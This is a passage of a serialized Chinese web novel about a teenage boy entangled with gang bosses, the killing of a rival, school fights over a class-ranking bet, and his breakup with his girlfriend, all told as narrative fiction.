邓天啸用很怪异的眼神看了一眼李辰浩,之后哈哈大笑对陈屠说道:“自从你跟我作对,咱们早就不死不休了,今日也是你活该!自作自受!”说完便大声对张霆琛他们说道:“赶紧走!”
张霆琛等人毫不犹豫地离开了现场。那个女人要报案,却被陈屠制止了,原因很简单,他丢不起这个人,他不是要这几个孩子坐牢,因为他要的是张霆琛和李辰浩的命!
这些人没多久就从后门离开了酒店,邓天啸对他们说道:“今天你们都去我家,今天晚上广市要有大事情发生了。”之后他对身边的保镖说道:“去把酒店的所有监视录像抹掉!”保镖二话没说就去办事了。这时梁颖还沉浸在刚才的事情中,脸色很难看。张霆琛见她这样,安慰说:“没事的!有我呢。”
“有你?”梁颖音调古怪地看了张霆琛一眼,之后推开他对着出租车招了招手便要离开。张霆琛想要追上去,但是李辰浩拉着他说道:“这件事明天再解释,现在是赶紧离开。她自己走反而比跟着咱们安全得多。”
“我知道了!”张霆琛犹豫了一下,之后便随着邓天啸等人上了一辆奔驰商务车。
第一百一十八章:什么都不用说
在车上张霆琛一句话也不说,心情糟糕到了极点。他不明白为什么不幸的事总发生在自己身上。他没有去追梁颖,因为看邓天啸的脸色和行事便知今天得罪了大人物,她不在自己身边反而更安全。张霆琛拿起手机想发短信挽回,可半天过去,梁颖依旧没回信。邓天啸坐在车里除了打电话什么都没干,张霆琛也没心情关心这些大人物的事,他们总有办法解决。
没一会儿,张霆琛便随邓天啸等人来到了他的住所。到家后邓天啸继续打电话布置事情,大概一个多小时才放下手机。这时一旁的王德问道:“怎么样?有什么需要我帮忙的吗?”
“暂时不用,你还是保持中立的好。这回必须做了陈屠,把城南的场子都归到我青帮门下。”换成别人说这话,赵晨肯定会以为是为抢地盘不让自己参与,但邓天啸不是这样的人,赵晨对他十分信任。
“还保持中立?有这个必要吗?”“你是很重要的一步棋,暂时不要露面。现在得想办法保住这几个小家伙。”说着邓天啸朝张霆琛看去,张霆琛马上不好意思地低下头。邓天啸摇头道:“我说你怎么还是这么冲动。”
“我知道错了叔叔。”“得了,我没怪你,是他先动手的,我们都看见了。倒是你的朋友下手有点狠啊。”
李辰浩意识到邓天啸在说自己,却没什么表示,保护张霆琛是他这辈子必须做的事,也是报答兄弟情的唯一方式。邓天啸哈哈笑道:“不错!都不错!但你刚才动手的地方不对,在公众场合动陈屠,就不怕惹一身麻烦?”
李辰浩无所谓地答道:“在于叔的地盘里,我想我们不会吃亏。”邓天啸有些吃惊地看了他一眼,笑着问:“你怎么知道那是我的地盘?”
“从最开始动手就没人经过,后来连那里的两个摄像头灯都灭了,显然没点关系不可能这么快调动酒店设施。”“你连摄像头关了都看见了?”邓天啸更惊讶了。李辰浩不以为然道:“习惯性观察了一下。”
邓天啸没想到李辰浩也是个人才,突然眼神凌厉起来:“你在我地盘动手伤人,就不怕我把你交出去?我把你交出去,说不定能和陈屠的人示好,万一我还不想跟他们起冲突呢?你太天真了。”这话让李辰浩无言以对,他确实没想过邓天啸会交人。张霆琛紧张地站起来挡在李辰浩前面:“邓叔叔!”不光是他,王涛和邓志辉也站了起来。赵晨笑呵呵地看了邓天啸一眼,随后邓天啸大笑起来。几个孩子面面相觑,不知他为何发笑。还是赵晨说道:“你们啊,要是你邓叔叔想交人,早就动手了,还用得着带回来吗?”
张霆琛长舒一口气,真是有惊无险。邓天啸语重心长地对他们说:“做事情要注重全局,别用片面眼光看问题。记住,这世上没有永远的朋友,只有永远的利益!”几个孩子不好意思地低着头,没了在学校的不可一世。
邓天啸继续道:“想问题要把所有可能性都想一遍,觉得万无一失了再尝试,但只是尝试,因为世上没有绝对稳妥的事,任何时候都要给自己留退路!男人要有项羽破釜沉舟的勇气,也要有刘邦审时度势的计谋。”
这时邓天啸的手机响了,电话那头说:“邓总,冯家二小姐已经被我们下药弄昏迷了,现在在医院。陈屠也在急救。”邓天啸只答了一声“恩”便挂了电话,对王德说:“怎么处理?”
“保住这几个孩子要紧,看看能不能让冯家的人闭嘴,再顺手做了陈屠。”王德眯着眼,说话时散发着骇人的气息。邓天啸点头:“我也是这么想的。现在14k的人到处找凶手,看来他们还不知道是谁干的。但怎么跟冯家交涉呢?”
“我记得冯家的二掌柜冯蒙视财如命,不如约他出来谈谈,只要钱给到位,不怕他不办事。”邓天啸虽有疑惑,但还是给冯蒙打了电话,上来先寒暄:“喂,是冯大哥吗?”
“邓天啸你打电话干什么?”“没事就不能给老哥打电话了?”“有话直说!我还有好多事要处理呢。”说是处理事,其实冯蒙正趴在女人肚皮上享受。邓天啸开门见山:“我老邓也不墨迹,出一千万求老哥办件事。”
“什么?!”对方一听一千万,立马来了劲头,沉默片刻后问:“你要做什么?”“求老哥办件举手之劳的事,办成了就有一千万!”对方谨慎道:“你老邓没憋好屁吧?上回你诬陷我们姑爷的事还没解决呢。”
邓天啸笑道:“他现在不是毫发无损吗?我们也是被逼无奈,再说在广市,谁能动得了你们冯家?”对方听了奉承,语气缓和不少。邓天啸见时机到了,说:“请冯老哥移驾龙翔ktv,咱们好好谈谈?”对方没犹豫就答应了。邓天啸深呼一口气挂了电话:“事情成了一半,还真跟你说的一样,典型的财迷。”
“可不是嘛,他在家里不得宠,能有现在的地位全靠哥哥冯金盛。冯金盛是商界叱咤风云的人物,唯一弱点就是太护犊子。要是有冯蒙帮忙说好话,咱们再跟冯金盛谈谈,应该没问题。而且冯家好像还没完全站在14k那边,他们也在观察,都是老狐狸啊!”
“你分析得真透彻,跟我想的一样。得此知己,夫复何求!”俩人对视一眼,相继笑了起来。张霆琛在一旁问道:“叔叔,冯家到底是什么人?有这么大背景吗?我知道广市能和青帮对抗的只有韩家,这港帮、冯家又是怎么回事?”
邓天啸语重心长道:“这些你还没必要知道,现在主要目标是好好学习,没知识什么也做不了!想做人上人,必须有过人的头脑。”张霆琛见他不愿多说,只好闭嘴,但也明白邓天啸说得对,这年头没知识,混黑社会也只是打杂的小角色。
这时邓天啸对周围人使了个眼色,对王涛和邓志辉说:“你们俩先出去,我有话对他们说。”邓志辉犹豫了一下,不情愿地看了父亲一眼,邓天啸摆手示意他赶紧走。没办法,他和王涛走出了客厅。屋里只剩四个人,邓天啸严肃地问张霆琛:“你到底来自哪里?”
张霆琛没想到他会这么问,不解地反问:“叔叔这是什么意思?”“别装不懂了,你的身手我见过,绝对是高手传授的。还有你的小伙伴,身手更了不得!要不是他留手,今天陈屠就真死在小孩子手里了!”
张霆琛和李辰浩相视一眼,他们知道身世必须保密,否则会招来麻烦,可又不好欺骗邓天啸。邓天啸见他俩为难,淡淡道:“我怕你们俩是某人派来我身边的间谍啊!”
这话让李辰浩和张霆琛瞬间紧张起来。张霆琛想解释,却被邓天啸打断:“什么都不用说!”
第一百一十九章:肥婆
张霆琛的话被邓天啸打断,邓天啸站起身走到张霆琛和李辰浩身边,抬手拍了拍他俩的后脑勺,沉声道:“不管你们俩是什么来头,总归不是普通学生。你们不想说,我也不逼你们。但记好了,我邓天啸对你们仁至义尽,一会儿我就去备至少两千万,买小琛一条安稳命。我不知道你们带着什么使命闯到广市,但有一条必须记牢:不准昧着良心对志辉、王涛使坏。他们是真心把你们当兄弟的,要是敢对他们不义,就别怪叔叔不念情分!”话语里的威严容不得半分反驳。
张霆琛望着邓天啸的背影,心里涌上一阵愧疚,自己什么都没做,反倒让对方为自己奔波善后。他猛地站起身,对着邓天啸深深鞠躬:“叔叔!我张霆琛这辈子绝不会忘了您和兄弟的恩情,更不会背叛你们,除非我死!我现在确实有不得不完成的事,身不由己,但在这里绝不会坑害您和兄弟们。”
邓天啸叹了口气:“有你这话就行。去睡吧,今晚若顺利,明天你们该能喘口气了。”说罢头也不回地走出客厅。王涛、王德朝张霆琛走来,拍了拍他的肩膀:“小子,记着你叔的话,我们不会坑你,就凭你和志辉、王涛的交情。好好琢磨琢磨。”说完便跟着邓天啸离开了。
等人都走光,张霆琛才直起腰,苦笑着摇头:“真是身不由己啊。”“还好你没冲动说漏嘴,万一……”李辰浩警惕地扫视四周,把后半句咽了回去。
“我有分寸,为了咱们现在的安全,绝不能说。”“嗯,你心里有数就好。说点别的,你和梁颖怎么样了?”
张霆琛一听到梁颖的名字就犯愁,抓了抓头发:“我真搞不懂,怎么就不能安安稳稳相处一阵子。”李辰浩其实不喜欢梁颖,但从没在张霆琛面前说过,这是兄弟的选择,只要是张霆琛选的,在他眼里就没错。“别多想了,说不定明天就好了。”俩人正聊着,王涛和邓志辉走了进来。几人对视一眼,没说什么,却在沉默中感觉彼此的情谊又深了一层。
一夜无话。第二天整个广市的黑道都炸了锅,14K的陈屠在医院被人做掉了,死状极惨:胸口被捅了十几刀,脑袋还被割了下来。警察在追查凶手,14K更是放出话来,开五百万暗花买凶手的消息。道上的人都猜是青帮干的,却没人敢拿证据说话。14K的场子一夜之间损失了七八成,明面上的重创已够他们焦头烂额。青帮这么做也有缘由,前些日子他们的赌场、歌厅被陈屠带人骚扰,还出了人命,这回也算出了口恶气。唯有冯家显得镇定,毕竟谁输谁赢都不影响他们,冯老二收了邓天啸两千三百万,确实把事办妥了,这也让张霆琛看清了自己在邓天啸心中的分量:一条命值两千三百万。
张霆琛像往常一样去学校,今天周五,晚上要和李辰浩去接陈曦,正好找梁颖好好聊聊。刚进校门就撞见周喜铭,对方老远就挥手,跑过来阴阳怪气地说:“琛哥,你这大奔驰够威风啊!”
张霆琛苦笑:“我一个普通家庭哪坐得起这豪车,是志辉家的。”“卧槽?这么有钱?这可是四百多万的车!”邓志辉赶紧岔开话题:“王凯家没找你麻烦吧?”
周喜铭立刻来了精神:“还说呢,要不是霆琛把事全扛了,我肯定完蛋。真没想到他爹那么厉害,没为难你吧?”“没,这事过去了。对了喜铭,你家是做什么的?”张霆琛随口问。周喜铭摆摆手:“做点小生意,没法跟你们的大奔比。”“滚蛋!”邓志辉在一旁笑骂。几人嘻嘻哈哈地走进校门。
第一节课是历史课,堪称灾难现场,讲课的是个爱告状的女人,越较真越没人听。张霆琛、李辰浩、邓志辉、彭志龙凑在一起玩扎金花,不赌钱只玩大冒险,输的人要被狠狠折腾。课上到一半,李辰浩突然骂道:“草!哪有这么巧的!”
王涛在一旁狂笑:“你这把输了两百多分,不用玩了,我们三个说三件事,你必须照做!”李辰浩满脸郁闷,自己明明拿了豹子,没想到王涛闷牌到底,最后竟闷出个5,直接把他比了下去。他知道这伙人准要出馊主意。正嘀咕着,历史老师指着他们怒斥:“你们几个闭嘴!不对,给我出去,我不想看见你们!”
几人对视一眼,悻悻地起身。王涛经过王雨身边时,故意掐了下他的屁股,王雨没忍住叫出声来。老师立刻转向她:“当班长的不以身作则,你也出去!”王雨委屈地看了看老师,又瞪了王涛一眼,头也不回地出了教室。
门口,王雨一个劲埋怨王涛,王涛却耍起无赖,论脸皮厚,他认第二没人敢认第一。王雨虽气,却没揭发他,这份仗义让张霆琛几人更觉投缘。几人站在门口嘀咕怎么惩罚李辰浩,最后敲定让他叠纸飞机扔进教室,上面还得写“肥婆”两个字。
李辰浩支支吾吾半天,对上三人杀人般的眼神,只好乖乖找笔纸。他给大强打了个电话:“强子,拿笔和纸到门口来。”
“要这干啥?”“别废话,拿来就是。”大强很快拿着纸笔出来,疑惑地问:“你们上体育课?”几人相视一笑,等着看李辰浩出糗。李辰浩硬着头皮叠飞机,张霆琛在一旁起哄:“叠战斗机,长长的那种,照着肥婆脑袋飞!”
李辰浩想抗议,却被直接无视。没一会儿,飞机叠好了,“肥婆”两个大字格外显眼。他走到门口,回头讨价还价:“这算两件事!不然不干了!”张霆琛几人商量后点头:“行,算两件!赶紧的别墨迹!”
王雨在一旁紧张地问:“你们真让他扔啊?”“不然呢?”王涛说着又掐了他一把。王雨刚要叫,就听教室里传来老师的尖叫:“哎呦!”她赶紧捂嘴,回头却发现张霆琛几人不见了,原来他们全溜到四班门口躲着了,大强也飞快跑回了教室。
历史老师气冲冲地冲到门口,外面空无一人,再远处一看,张霆琛他们竟在四班门口站着。她郁闷地冲几人喊:“你们过来!”
几人老老实实走过去,刚经过二班,就见李辰浩从里面溜了出来。原来他扔完飞机就冲进二班,对老师说:“老师您好,我们历史老师想借点粉笔,她不小心折坏了好多。”二班老师竟爽快地答应了。大强在教室门口冲他竖大拇指,小声说:“牛逼!”
历史老师攥着纸飞机冲过来质问:“谁扔的?”“不知道!”四人异口同声。“不可能!到底是谁?”她低头看到飞机上的“肥婆”二字,气得浑身发抖,“说实话的可以回去上课!”张霆琛在心里冷笑:那我还是永远别说实话了。
第一百二十章:班级冲突
王涛见王雨不理他,突然窜到他身后,伸手就捏了把他的屁股。王雨“嗷”地一声尖叫,王涛在一旁笑得前仰后合。李辰浩看不下去了,上去对着王涛的屁股就是一脚,骂道:“你小子就知道欺负人!要不是人家今天仗义执言,你早被肥婆整死了知道吗?还老欺负他,你爸那么沉稳有型,怎么生出你这么个活宝?简直不像亲生的!”
“去你妹的!李辰浩你别以为我不敢收拾你,惹急了我,二十个你都照揍不误!”王涛嘴硬道。李辰浩早习惯了他吹牛,挽起袖子挑衅:“那你生气啊,我倒要看看你能不能打过一个我。”
王涛眼珠一转,突然嚣张起来:“算了算了,你涛哥什么身份地位,随便动手多掉价。不行不行!”话音刚落,李辰浩一拳怼在他胸口,骂道:“小子,今天不把你收拾服帖了,我就不姓李!”说着就把王涛按在地上一顿揍。五分钟后,李辰浩拍着身上的灰,气喘吁吁地说:“草,真是禁揍,这身皮够硬。”
王涛趴在地上还嘴硬:“老子皮厚,有本事再打五分钟!”“嘿哟,还来劲了?”李辰浩刚要再动手,王涛立马求饶,这回是真疼得受不了了。张霆琛赶紧制止:“别闹了,从今天起给我好好学习,学不好咱们可就丢人了。”
“我说小琛,你让我们打架拼命都行,让我们学习?这不是为难人吗?还争第一?我能及格就烧高香了。”李辰浩苦着脸说。王涛也附和:“就是啊,你有这实力,我们可没有!”
张霆琛郑重道:“我不想给班级丢人,学不学不由你们说了算。我保证让你们成绩名列前茅!”王雨在一旁点头:“我会辅导大家的,有问题尽管问我!”
邓志辉皱眉:“二哥,除了咱们几个,班里还有不少不爱学习的,你打算怎么办?输了可太丢人了。”“没事,我自有办法。大家一起努力就行。我就不明白,肥婆为什么老跟咱们作对!”张霆琛纳闷道。
王雨解释:“听说肥婆本来该当咱们班主任,不知怎么让刘老师当了。她原本教语文,后来被校长调到历史组了。”“你怎么知道的?”“老学生都知道,你们来得晚不清楚。”
张霆琛突然想起刘老师的年龄:“咱们班主任怎么这么年轻?”“不清楚她多大,但好像是实习生,大学上得早。我听姐姐他们年级的说的。”“实习生能当班主任?”李辰浩不信。
“校长也姓刘,大家都在猜关系,有人说是父女,有人说是叔侄,甚至还有人说是……小秘,不过我觉得太荒谬了。”这解释倒让刘老师的年轻说得通了。
“行了,不研究这个了,好好学习是正经。没听邓叔叔说吗?知识才是本钱!回去跟全班同学说一声。”正好肥婆气呼呼地没继续上课,张霆琛趁机站上讲台:“同学们,咱们这回要拿全年级第一!那个历史老师瞧不起咱们,咱们得证明自己!”
他刚想多说几句,后排传来不和谐的声音:“你说第一就第一?要考你们自己考,我不去!”说话的是常江,整天不学习,专跟老师对着干,比王涛还能闹。他的死党徐星、杨春楠也在旁边起哄。
王涛一听就炸了:“草你妹的!我二哥说行就行!你他妈好好学就完了,哪那么多废话!”常江也不是善茬,回骂道:“什么他妈你二哥!滚犊子!自己什么德行不知道?”
王涛在兄弟面前能嬉皮笑脸,但在外人面前暴脾气一点就着。他二话不说,抄起王雨的凳子就扔了过去。常江没料到他说动手就动手,赶紧闪身躲开,气急败坏地骂:“你他妈有病啊!”
王涛正要冲上去,张霆琛拦住他,盯着常江问:“我兄弟脾气暴,你说吧,怎么才能好好学?”张霆琛平时穿得宽松,故意不显身材,看着就像个普通学生。
常江嚣张道:“我怎么都不学,除非……”“除非什么?”“除非你做我小弟,我可以考虑考虑。”这话瞬间激怒了邓志辉等人,竟敢让他们二哥当小弟?
张霆琛冷笑一声:“能让我做小弟的人只有两种:一是有绝对实力的,至今没见过;二是……”“什么?”常江顺口问。“死人!”张霆琛语气冰冷。常江嗤笑起来,杨春楠阴阳怪气地接话:“吹牛逼的真多,装比犯怎么这么多!”
张霆琛转身朝门口走:“你们来厕所,不敢就直说。”王涛冲他们勾了勾手指,还鄙视地竖了中指。常江怒道:“走!马上下课了,叫七班的人出来!”说着也往门口走。
邓志辉问李辰浩:“咱们去吗?”李辰浩无所谓道:“去看看,以防万一。”“这么几个虾兵蟹将,叫陈永、李绍良他们来就行。”“算了,去看看吧,王涛一个人就够收拾他们了。”“也是。”
杨春楠还在旁边嚣张:“再吹牛逼小心嘴烂掉!”李辰浩和邓志辉没理他,径直走出教室。王雨急忙拉住李辰浩:“你们别打架啊!快跟霆琛说说!”
李辰浩摸了摸他的头:“这事就得这么解决。暴力解决不了所有问题,但没暴力,有些问题根本解决不了。”说完就追了出去。
厕所里,张霆琛靠在暖气片上抽烟,姿态散漫又帅气。常三人走进来:“你想怎么着?”“没别的,就想让你们好好学。”“你他妈是我爸妈啊,管天管地?”常江依旧嚣张。
话音刚落,王涛一拳砸在他脑袋上:“我是你爸!这下能管你了吧?”徐星、杨春楠见状也冲了上来。邓志辉在一旁调侃:“小涛子,用不用哥帮忙?”
“一边呆着去!都看着!”王涛嘴上嚣张,手上也没含糊。这几个高一学生哪是他的对手,王涛平时没事就打架,还总被李辰浩、邓志辉“磨练”,经验早就练出来了。
邓志辉对李辰浩笑道:“看看,这么嚣张,等他完事了,咱俩收拾收拾他?”“顶!”李辰浩叼着烟笑。不到三分钟,常三人就被打倒好几次。王涛没下死手,毕竟在学校,小摩擦而已。
张霆琛皱起眉:“再给你三十秒,解决不了,今天就让大哥继续训练你。”王涛一听打了个冷颤,他最怕李辰浩的训练,简直不是人受的罪。这下他立马拿出真本事,三拳两脚就把三人彻底撂倒,咧嘴露出大白牙:“怎么样?”
第一百二十一章:傻眼
张霆琛摇了摇头,干脆利落地吐出两个字:“1秒!”话音刚落,他转头看向李辰浩。李辰浩立刻心领神会,拍着大腿哈哈大笑:“小子,从今天起你又得跟着哥练了!上回是小琛帮你说情,这回你可没辙了!”
王涛一听又要开启训练模式,当即跳脚嚷嚷:“这不公平!肯定是你那破表走快了!”别说,他还真没猜错,李辰浩就是故意卡着秒表逗他。这边几人插科打诨,压根没把地上躺着的三个男生当回事。常江挣扎着从地上爬起来,指着张霆琛放狠话:“有几个能打的算什么?等着一会儿我兄弟来了,看你还怎么嚣张!”
话音未落,厕所门口果然涌进来一群人,正是高一七班的学生。开学时张霆琛他们就跟这群人有过摩擦,后来还是周喜铭出面才把事儿压下去。这伙人见常江坐在地上哼哼,二话不说就捋着袖子要冲上来干架。张霆琛只是轻轻往后退了半步,李辰浩和邓志辉已经像两座铁塔似的挡在了他身前。
冲进来的足有五个人,里头还混了别班的看热闹的。李辰浩和邓志辉配合得那叫一个默契,一个出脚绊腿,另一个立马挥拳招呼,打得对方晕头转向。不过还真有个愣头青突破了两人的包围圈,直奔张霆琛而来。可他刚看清张霆琛的脸,就被旁边的王涛一拳撂倒在地。
这波操作直接给常江等人看傻了眼,他们怎么也想不到这伙人的战斗力这么强。此刻再看张霆琛,简直像个解不开的谜。本来还想爬起来再战的几人,一看这架势彻底没了斗志,没一会儿就全都瘫在了地上。
李辰浩和邓志辉摇着头,满脸嫌弃:“太没意思了,这纯属来凑数的,一点战斗力都没有。”正说着,陈永他们匆匆赶到,李辰浩立刻装出不满意的样子斥责道:“等你们来了,我们都快被人打**!”
“大哥,你压根没叫我们啊!”陈永一脸冤枉,“我们是看见好多人往厕所跑,打电话你们又不接,才意识到不对劲赶紧赶过来的。”“我没叫你们吗?”李辰浩摸着后脑勺,傻乎乎地问。邓志辉在一旁翻着白眼鄙视道:“你刚才说要叫,结果转头就忘了。”
“哦!这样啊!”李辰浩恍然大悟,大手一挥,“那是误会你们了,今天的烟我包了!”“大哥万岁!”一群人立刻在厕所里欢呼起哄。旁边的常江气得浑身发抖,自己就像个透明人被彻底无视了。张霆琛嘴角勾起一抹若有若无的邪笑,看向靠在墙上的常江:“服了吗?”
常江这会儿是真没话说了,打又打不过,骂又骂不赢,叫人来还被对方轻松拿捏,输得彻彻底底。但他打心底里不服气,总觉得张霆琛全靠身边这帮能打的兄弟,自己根本没什么真本事。他正想开口说点什么,厕所门口突然围过来一大群人,为首的正是高二的老大周喜铭。
周喜铭一走进来就看到了张霆琛,接下来的话让所有人惊掉了下巴:“琛哥,这是怎么了?”地上躺着的几个周喜铭的小弟简直不敢相信自己的耳朵,他们从不知道周喜铭和张霆琛好到这种地步,上回一起吃饭时,周喜铭压根没带他们,这些人本就是跟着周喜铭小弟混的外围,哪有机会接触到核心圈子。
张霆琛笑着摆手:“你就别拿我开涮了,还是叫我啊琛吧。”“不行!你再这么说我可真翻脸了!”周喜铭一本正经地说。张霆琛见他是认真的,知道再推辞就真要惹他不高兴了,只好妥协:“行行行,随你怎么叫。”转头又问常江:“怎么样,现在服了吗?”
刚才还想找借口狡辩的常江,这下彻底没了底气,连高二的老大都管张霆琛叫大哥,俩人根本不是一个level的。他耷拉着脑袋,瓮声瓮气地说:“服了。”张霆琛朗声大笑:“早这么说不就完了?我不要你怎么样,只要你跟着全班一起好好学就行,我只是不想让一班丢人!”常江像个霜打后的茄子,蔫头耷脑地说不出话。
周喜铭在一旁看得一脸诧异,忍不住问:“我说琛哥,你这是唱的哪出啊?因为人家不学习就动手?那你岂不是要把半个学校的人都揍一遍?”“别取笑我了,这是我们班内部的事。”张霆琛解释道
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,“我跟我们历史老师打赌,说我们班能考第一,这不这几个小子不肯学习,非要来比划比划。”
“呦,跟琛哥你们也敢比划?”周喜铭看向龙镇宏他们,毫不客气地说,“实话告诉你们,你们全都加起来也打不过他一个人。”这话一出,常江脸上写满了不信,只是没敢说出口。
张霆琛最善于观察,一眼就看穿了他的不屑。他轻哼一声,突然一拳朝着厕所的木门砸去。“砰”的一声闷响,所有人都惊呆了,那扇厚实的木门竟被他打穿了一个窟窿!连李辰浩都瞪圆了眼睛,不敢相信地盯着那个破洞,他怎么也想不到张霆琛的力量已经到了这种境界,更纳闷他到底是怎么练的。
旁边的周喜铭更是目瞪口呆,好半天才竖起大拇指:“知道你牛,但没想到你这么牛!我彻底服了……”地上坐着的常江一脸茫然,过了好久才缓过神来,这还是人吗?这个问题在后来的日子里,他不知问了自己多少遍。
张霆琛打完拳二话不说,径直走出厕所,到门口时回头丢下一句:“以后好好学,我不是害你们!”说完便头也不回地离开了。
第一个追出去的是李辰浩,他满脑子都是那个破洞,想问问张霆琛到底怎么做到的。到了门口,他看见张霆琛正往操场走,其他人也赶紧跟了上去。可追到操场时,却压根没看到张霆琛的人影。这时有人在旁边喊道:“那不是琛哥吗?怎么了?”一群人往**台后面看去,果然看到了张霆琛。
大家都纳闷他怎么跑到**台后面坐着,李辰浩第一个走上前,关切地问:“小琛你怎么了?”
张霆琛一脸苦相地看着他:“你去打那个门试试,看看疼不疼……”原来他一开始只是想把门板打坏,没想到没收住力直接打穿了,手现在疼得厉害。他跑到操场躲起来,纯粹是怕在众人面前露怯丢人。
听他这么一说,所有人都竖起了鄙视的手势。但玩笑归玩笑,虽然张霆琛这波装酷最后露了怯,可他一拳打穿木门的事实摆在眼前,这让大家对他更佩服了。
第一百二十二章:正式分手
说服常江等人后,张霆琛便开始琢磨提升班级成绩的计划。可这事儿急不得,距离下次大考还有一个多月,要在这么短时间里让大家突飞猛进,着实是个不小的挑战。但在张霆琛的字典里,从来就没有放弃这两个字。
下课铃声欢快地响起,学生们盼了一整节课的放学时间终于到了。张霆琛背起书包,和李辰浩一起走到校门口,他搓着手,紧张地问:“大哥,你说梁颖会原谅我吗?”
“我估计……”李辰浩拖长了调子。“别吞吞吐吐的,赶紧说!”张霆琛急得推了他一把。“我觉着悬啊!”李辰浩摊摊手,“人家就是普通家庭的姑娘,你让她撞见那么血腥的场面,一个小姑娘哪受得了这个?”
张霆琛这才想起当时是李辰浩动了刀,立刻埋怨道:“都怪你动不动就亮刀子,就不能别这么暴力?”李辰浩没好气地瞪着他:“我说你这人怎么不讲理?活该你被冷战!”“滚犊子!我这叫冷战,又不是被甩了!”张霆琛嘴硬道。
李辰浩坏笑着调侃:“我倒觉得谢诗韵不错,你真不考虑考虑?”“考虑什么?我是那种见异思迁的人吗?”话音刚落,陈曦就从校门口蹦蹦跳跳地跑了出来。看到他俩在门口等着,她立刻像只小炮弹似的冲过来:“大哥二哥!”这对兄弟最疼这个妹妹了,虽说没有血缘关系,感情却比亲兄妹还亲。陈曦挽住两人的胳膊撒娇:“好久没见你们了,得请我吃好吃的!”
张霆琛赶紧趁机问:“妹子,你帮我在梁颖面前说好话了吗?”陈曦翻了个白眼:“你就知道惦记你的心上人,连妹妹都不管了?”“不是,我这不是……”张霆琛被噎得说不出话,脸都憋红了。
陈曦见他这副窘迫样,噗嗤笑了出来:“好啦不逗你了。我帮你解释了,但人家说你们不合适,除非你放弃现在走的路。可她又说江山易改本性难移,劝你别再缠着她了,还说‘好女孩多的是,别在一棵歪脖树上吊死’!”把梁颖的原话转述完,张霆琛顿时像被抽走了骨头,蔫头耷脑地像个泄了气的皮球。李辰浩拍着他的肩膀安慰:“别伤心了,你才多大啊,整天想着谈恋爱?还是好好规划规划以后的路吧。”
“大哥你能不能别总说大道理!二哥失恋了,你就不能好好安慰安慰他?”陈曦不满地嘟囔着,突然指着校门口,“你看梁颖出来了!你们去单独聊聊吧!”张霆琛抬头一看,果然是梁颖。他赶紧理了理衣服,深吸一口气朝她跑过去,在她面前站定,小心翼翼地打招呼:“梁颖。”
可梁颖像没看见他似的,径直从他身边走过。张霆琛又惊又急,一把拉住她的手腕:“你怎么了?我是张霆琛啊!”
梁颖终于停下脚步,冷冷地说:“我知道你是张霆琛,但已经不是我当初认识的那个张霆琛了。我认识的张霆琛,是个文静又优秀的男生,可现在的你,我已经认不出来了。”说完就要甩开他的手离开。张霆琛却不肯放手,急忙解释:“梁颖你再给我一次机会,上次的事我们是迫不得已……”
梁颖突然冷笑一声:“迫不得已?你敢跟我说实话,邓志辉的父亲到底是谁吗?”张霆琛眼神闪烁了一下,知道她肯定听说了什么,却还是硬着头皮说:“就是个做生意的大老板啊,我不是告诉过你吗?”
“大老板?”梁颖激动地提高了音量,“大老板会被人叫‘邓老大’?大老板身边会有带枪的人?你骗谁呢!”张霆琛知道再说什么都瞒不住了,只能低着头准备认错。可梁颖却摇了摇头:“我和你不可能了。我想要的是成绩优秀、行得正坐得端的男生,不是整天打架斗殴、跟黑道分子混在一起的人!”
张霆琛心里又委屈又无奈,可梁颖说的都是事实。见梁颖转身要走,陈曦想上前拉住她,却被张霆琛拦住了:“让她走吧,她说得对,这是我的天性,我本该如此。我们在一起,只会害了她。”说完他走到梁颖面前,郑重地说了声“对不起”,然后转身离开。梁颖望着他的背影,突然对着他大喊:“张霆琛你混蛋!”李辰浩和陈曦无奈地看着这一幕,其实他们早就觉得,这俩人根本不合适。此时的张霆琛,眼角已经悄悄泛起了泪光。而在校门口不远处,有两个人目睹了全过程,一个摇头叹息,一个却嘴角带笑,眼神里满是得意。
今天,张霆琛正式失恋了。他的心情糟糕到了极点,李辰浩和陈曦陪着他来到附近的大排档。张霆琛什么都没吃,只是一杯接一杯地闷头喝酒。两人也不劝,就安安静静地坐在边上陪着,不管张霆琛遇到什么事,他们都会一直陪着他。
就在这时,一只手突然按住了张霆琛的胳膊,一个熟悉的声音传来:“这是怎么了?一个人在这喝闷酒?”几人抬头一看,原来是韩越和**。真是有些日子没见他们了。**在张霆琛身边坐下,笑着骂道:“你小子也不来看看我们,是不是把哥哥们都忘了?”
张霆琛虽然心里难受,但做人的分寸还是有的。他立刻调整好表情,笑着说:“我怎么敢忘两位大哥?快坐,喝酒喝酒!”两人也不客气,拉过椅子就坐下了。韩越看着张霆琛打趣:“你小子最近越来越能耐了,连**的儿子都敢打,还把人家老爸拉下马!
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张霆琛好奇地问:“你怎么知道的?”韩越耸耸肩:“听我爸说的,他还夸你有本事呢。怎么样,以后跟着哥混?”张霆琛赶紧摆手:“越哥你就别取笑我了,什么混不混的,再说你身边人才济济,哪还缺我一个?”
“就知道你小子不会答应,不过我喜欢!”韩越哈哈笑着说。**在一旁好奇地问:“你怎么一个人在这喝闷酒?遇到烦心事了?”
张霆琛只是苦笑,没说话。陈曦在一旁帮腔:“还不是因为失恋了。”她跟韩越、**在学校里挺熟,平时他们也挺照顾她。**一听,***过张霆琛手里的酒瓶:“我说你小子怎么这么没出息?这点事就躲在这喝酒?天下好女孩多的是,至于吗?”张霆琛无奈地摇摇头,他就知道**会这么说,自己还真无言以对。韩越在一旁帮腔:“你就不能考虑考虑谢诗韵?那姑娘多喜欢你啊,你忍心一直晾着她?”
李辰浩也跟着起哄:“就是,要不把谢诗韵叫过来?”说完他就后悔了,本来只是开玩笑,没想到韩越当真了,当场就掏出手机给谢诗韵打电话,更没想到谢诗韵还真答应过来!李辰浩感觉自己快被张霆琛**的眼神凌迟了。
没过多久,谢诗韵就风风火火地来了。韩越给她让了个座,她毫不客气地坐在张霆琛身边,大大咧咧地问:“怎么了?想我没?”李辰浩赶紧打圆场:“当然想了,必须想!”
张霆琛在一旁苦笑,心想这下可热闹了。果然,谢诗韵一伸手就搂住了他的胳膊:“我说你怎么不理我?我今天在校门口看见你了,是不是跟你女朋友吵架了?”
张霆琛没回答,只是对着其他人挤眉弄眼,一脸无奈。谢诗韵可不吃这一套,伸手就锤了他一下:“我跟你说话呢,看他们干嘛?”接着冲服务员喊道:“再来一箱啤酒!”然后转头对张霆琛说:“多大点事啊?不就是分手了吗?还有姐姐我呢!你要是不嫌弃,姐姐给你当媳妇!”
